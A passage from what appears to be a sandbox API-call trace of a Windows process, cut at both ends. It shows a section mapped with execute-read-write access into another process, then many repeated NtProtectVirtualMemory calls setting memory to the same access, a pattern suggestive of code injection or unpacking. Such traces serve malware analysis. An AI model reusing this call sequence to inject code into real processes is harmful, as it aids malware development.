InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8e424*=0x1ed00000, SectionOffset=0x0, ViewSize=0x1eb8e3dc*=0x114000) returned 0x0 [0355.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.862] NtMapViewOfSection (in: SectionHandle=0x3a8, ProcessHandle=0x2f0, BaseAddress=0x1eb8e420*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8e418*=0x113a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x1eb8e420*=0x6120000, SectionOffset=0x0, ViewSize=0x1eb8e418*=0x114000) returned 0x0 [0360.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.047] NtClose (Handle=0x3a8) returned 0x0 [0361.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.354] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x928a48 [0361.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.631] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.739] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0361.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0362.255] NtProtectVirtualMemory (in: 